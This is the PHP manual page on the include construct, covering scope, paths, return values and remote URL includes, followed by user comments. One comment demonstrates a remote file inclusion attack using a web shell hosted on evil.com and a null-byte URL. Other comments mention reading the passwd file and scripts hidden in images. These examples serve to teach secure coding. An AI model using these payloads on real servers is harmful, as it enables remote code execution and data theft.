include

Files are included based on the file path given or, if none is given, the
include_path specified. If the file
isn't found in the include_path,
include will finally check in the calling script's own
directory and the current working directory before failing. The
include construct will emit a
warning if
it cannot find a file; this is different behavior from
require, which will emit a
fatal error.

If a path is defined — whether absolute (starting with a drive letter
or \ on Windows, or / on Unix/Linux
systems) or relative to the current directory (starting with
. or ..) — the
include_path will be ignored
altogether. For example, if a filename begins with ../,
the parser will look in the parent directory to find the requested file.

For more information on how PHP handles including files and the include path,
see the documentation for include_path.

When a file is included, the code it contains inherits the
variable scope of the
line on which the include occurs. Any variables available at that line
in the calling file will be available within the called file, from that
point forward.
However, all functions and classes defined in the included file have the
global scope.

Example #1 Basic include example

vars.php<?php

$color = 'green';$fruit = 'apple';

?>

test.php<?php

echo "A $color$fruit"; // A

include 'vars.php';

echo "A $color$fruit"; // A green apple

?>

If the include occurs inside a function within the calling file,
then all of the code contained in the called file will behave as
though it had been defined inside that function. So, it will follow
the variable scope of that function.
An exception to this rule are magic constants which are
evaluated by the parser before the include occurs.

Example #2 Including within functions

<?php

function foo(){ global $color;

include 'vars.php';

echo "A $color$fruit";}

/* vars.php is in the scope of foo() so ** $fruit is NOT available outside of this ** scope. $color is because we declared it ** as global. */

foo(); // A green appleecho "A $color$fruit"; // A green

?>

When a file is included, parsing drops out of PHP mode and
into HTML mode at the beginning of the target file, and resumes
again at the end. For this reason, any code inside the target
file which should be executed as PHP code must be enclosed within
valid PHP start
and end tags.

If "URL include wrappers"
are enabled in PHP,
you can specify the file to be included using a URL (via HTTP or
other supported wrapper - see Supported Protocols and Wrappers for a list
of protocols) instead of a local pathname. If the target server interprets
the target file as PHP code, variables may be passed to the included
file using a URL request string as used with HTTP GET. This is
not strictly speaking the same thing as including the file and having
it inherit the parent file's variable scope; the script is actually
being run on the remote server and the result is then being
included into the local script.

Example #3 include through HTTP

<?php

/* This example assumes that www.example.com is configured to parse .php* files and not .txt files. Also, 'Works' here means that the variables* $foo and $bar are available within the included file. */

Security warning

Remote file may be processed at the remote server (depending on the file
extension and the fact if the remote server runs PHP or not) but it still
has to produce a valid PHP script because it will be processed at the
local server. If the file from the remote server should be processed
there and outputted only, readfile() is much better
function to use. Otherwise, special care should be taken to secure the
remote script to produce a valid and desired code.

Handling Returns: include returns
FALSE on failure and raises a warning. Successful
includes, unless overridden by the included file, return
1. It is possible to execute a return
statement inside an included file in order to terminate processing in
that file and return to the script which called it. Also, it's possible
to return values from included files. You can take the value of the
include call as you would for a normal function. This is not, however,
possible when including remote files unless the output of the remote
file has valid PHP start
and end tags (as with any local file). You can declare the
needed variables within those tags and they will be introduced at
whichever point the file was included.

Because include is a special language construct,
parentheses are not needed around its argument. Take care when comparing
return value.

$bar is the value 1 because the include
was successful. Notice the difference between the above examples. The first uses
return within the included file while the other does not.
If the file can't be included, FALSE is returned and
E_WARNING is issued.

If there are functions defined in the included file, they can be used in the
main file independent if they are before return or after.
If the file is included twice, PHP 5 issues fatal error because functions
were already declared, while PHP 4 doesn't complain about functions
defined after return.
It is recommended to use include_once instead of
checking if the file was already included and conditionally return inside
the included file.

Another way to "include" a PHP file into a variable is to capture the
output by using the Output Control
Functions with include. For example:

As a programmer, you might expect the user to browse to the path that you specify.

However, it opens up an RFI vulnerability. To exploit it as an attacker, I would first setup an evil text file with php code on my evil.com domain.

evil.txt<?php echo shell_exec($_GET['command']);?>

It is a text file so it would not be processed on my server but on the target/victim server. I would browse to:h t t p : / / w w w .example.com/example.php?command=whoami& path= h t t p : / / w w w .evil.com/evil.txt%00

The example.php would download my evil.txt and process the operating system command that I passed in as the command variable. In this case, it is whoami. I ended the path variable with a %00, which is the null character. The original include statement in the example.php would ignore the rest of the line. It should tell me who the web server is running as.

Please use proper input validation if you use variables in an include statement.

I cannot emphasize enough knowing the active working directory. Find it by: echo getcwd();Remember that if file A includes file B, and B includes file C; the include path in B should take into account that A, not B, is the active working directory.

If you want to have include files, but do not want them to be accessible directly from the client side, please, please, for the love of keyboard, do not do this:

<?php

# index.phpdefine('what', 'ever');include 'includeFile.php';

# includeFile.php

// check if what is defined and die if not

?>

The reason you should not do this is because there is a better option available. Move the includeFile(s) out of the document root of your project. So if the document root of your project is at "/usr/share/nginx/html", keep the include files in "/usr/share/nginx/src".

<?php

# index.php (in document root (/usr/share/nginx/html))

include __DIR__ . '/../src/includeFile.php';

?>

Since user can't type 'your.site/../src/includeFile.php', your includeFile(s) would not be accessible to the user directly.

When including a file using its name directly without specifying we are talking about the current working directory, i.e. saying (include "file") instead of ( include "./file") . PHP will search first in the current working directory (given by getcwd() ) , then next searches for it in the directory of the script being executed (given by __dir__).This is an example to demonstrate the situation :We have two directory structure :-dir1----script.php----test----dir1_test-dir2----test----dir2_test

dir1/test contains the following text :This is test in dir1dir2/test contains the following text:This is test in dir2dir1_test contains the following text:This is dir1_testdir2_test contains the following text:This is dir2_test

Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir1including "test" ...This is test in dir1Changing current working directory to dir2Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir2including "test" ...This is test in dir2including "dir2_test" ...This is dir2_testincluding "dir1_test" ...This is dir1_testincluding "./dir1_test" ...couldn't include this file

and so on. This way, the files in your framework will only have to issue statements such as this:

<?phprequire_once(LIB_DIR . 'excel_functions.php');?>

This also frees you from having to check the include path each time you do an include.

If you're running scripts from below your main web directory, put a prepend.php file in each subdirectory:

--<?phpinclude(dirname(dirname(__FILE__)) . '/prepend.php');?>--

This way, the prepend.php at the top always gets executed and you'll have no path handling headaches. Just remember to set the auto_prepend_file directive on your .htaccess files for each subdirectory where you have web-accessible scripts.

It's worth noting that PHP provides an OS-context aware constant called DIRECTORY_SEPARATOR. If you use that instead of slashes in your directory paths your scripts will be correct whether you use *NIX or (shudder) Windows. (In a semi-related way, there is a smart end-of-line character, PHP_EOL)

It is also able to include or open a file from a zip file:<?phpinclude "something.zip#script.php";echo file_get_contents("something.zip#script.php");?>Note that instead of using / or \, open a file from a zip file uses # to separate zip name and inner file's name.

A word of warning about lazy HTTP includes - they can break your server.

If you are including a file from your own site, do not use a URL however easy or tempting that may be. If all of your PHP processes are tied up with the pages making the request, there are no processes available to serve the include. The original requests will sit there tying up all your resources and eventually time out.

Use file references wherever possible. This caused us a considerable amount of grief (Zend/IIS) before I tracked the problem down.

If you're doing a lot of dynamic/computed includes (>100, say), then you may well want to know this performance comparison: if the target file doesn't exist, then an @include() is *ten* *times* *slower* than prefixing it with a file_exists() check. (This will be important if the file will only occasionally exist - e.g. a dev environment has it, but a prod one doesn't.)

Ideally includes should be kept outside of the web root. That's not often possible though especially when distributing packaged applications where you don't know the server environment your application will be running in. In those cases I use the following as the first line.

But here's the trick: if Server B doesn't have PHP installed, it returns the file list.php to Server A, and Server A executes that file. Now we have a file listing of Server A! I tried this on three different servers, and it allways worked.This is only an example, but there have been hacks uploading files to servers etc.

file_exists() will return true, your passwd file will be included and since it's not php code it will be output directly to the browser.

Of course the same vulnerability exists if you are reading a file to display, as in a templating engine.

You absolutely have to sanitize any input string that will be used to access the filesystem, you can't count on an absolute path or appended file extension to secure it. Better yet, know exactly what options you can accept and accept only those options.

Just about any file type can be 'included' or 'required'. By sending appropriate headers, like in the below example, the client would normally see the output in their browser as an image or other intended mime type.

You can also embed text in the output, like in the example below. But an image is still an image to the client's machine. The client must open the downloaded file as plain/text to see what you embedded.

include '/some_image.jpg';echo 'This file was provided by example@user.com.';

?>

Which brings us to a major security issue. Scripts can be hidden within images or files using this method. For example, instead echoing "<?php phpinfo(); ?>", a foreach/unlink loop through the entire filesystem, or some other method of disabling security on your machine.

'Including' any file made this way will execute those scripts. NEVER 'include' anything that you found on the web or that users upload or can alter in any way. Instead, use something a little safer to display the found file, like "echo file_get_contents('/some_image.jpg');"

I would like to point out the difference in behavior in IIS/Windows and Apache/Unix (not sure about any others, but I would think that any server under Windows will be have the same as IIS/Windows and any server under Unix will behave the same as Apache/Unix) when it comes to path specified for included files.

Consider the following:<?phpinclude '/Path/To/File.php';?>

In IIS/Windows, the file is looked for at the root of the virtual host (we'll say C:\Server\Sites\MySite) since the path began with a forward slash. This behavior works in HTML under all platforms because browsers interpret the / as the root of the server.

However, Unix file/folder structuring is a little different. The / represents the root of the hard drive or current hard drive partition. In other words, it would basically be looking for root:/Path/To/File.php instead of serverRoot:/Path/To/File.php (which we'll say is /usr/var/www/htdocs). Thusly, an error/warning would be thrown because the path doesn't exist in the root path.

I just thought I'd mention that. It will definitely save some trouble for those users who work under Windows and transport their applications to an Unix-based server.

if (preg_match('/[^\\/]{1}\\[^\\/]{1}/', $documentRoot)) {$documentRoot = preg_replace('/([^\\/]{1})\\([^\\/]{1})/', '\\1DIR_SEP\\2', $documentRoot);$documentRoot = str_replace('DIR_SEP', '\\\\', $documentRoot); }}else {/** * I usually store this file in the Includes folder at the root of my * virtual host. This can be changed to wherever you store this file. * * Example: * If you store this file in the Application/Settings/DocRoot folder at the * base of your site, you would change this array to include each of those * folders. * * <code> * $directories = array( * 'Application', * 'Settings', * 'DocRoot' * ); * </code> */$directories = array('Includes');

If you have a problem with "Permission denied" errors (or other permissions problems) when including files, check:

1) That the file you are trying to include has the appropriate "r" (read) permission set, and2) That all the directories that are ancestors of the included file, but not of the script including the file, have the appropriate "x" (execute/search) permission set.

While you can return a value from an included file, and receive the value as you would expect, you do not seem to be able to return a reference in any way (except in array, references are always preserved in arrays).

i.e the reference passed to x() is broken on it's way out of the include()

Neither can you do something like <?php $foo =& include(....); ?> as that's a parse error (include is not a real function, so can't take a reference in that case). And you also can't do <?php return &$foo ?> in the included file (parse error again, nothing to assign the reference too).

The only solutions are to set a variable with the reference which the including code can then return itself, or return an array with the reference inside.

To Windows coders, if you are upgrading from 5.3 to 5.4 or even 5.5; if you have have coded a path in your require or include you will have to be careful. Your code might not be backward compatible. To be more specific; the code escape for ESC, which is "\e" was introduced in php 5.4.4 + but if you use 5.4.3 you should be fine. For instance:

Solution:-----------Theoretically, you should be always using "\\" instead of "\" when you write php in windows machine OR use "/" like in Linux and you should fine since "\" is an escape character in most programming languages.If you are not using absolute paths ; stream functions is your best friend like stream_resolve_include_path() , but you need to include the path you are resolving in you php.ini (include_path variable).

I hope this makes sense and I hope it will someone sometime down the road.cheers,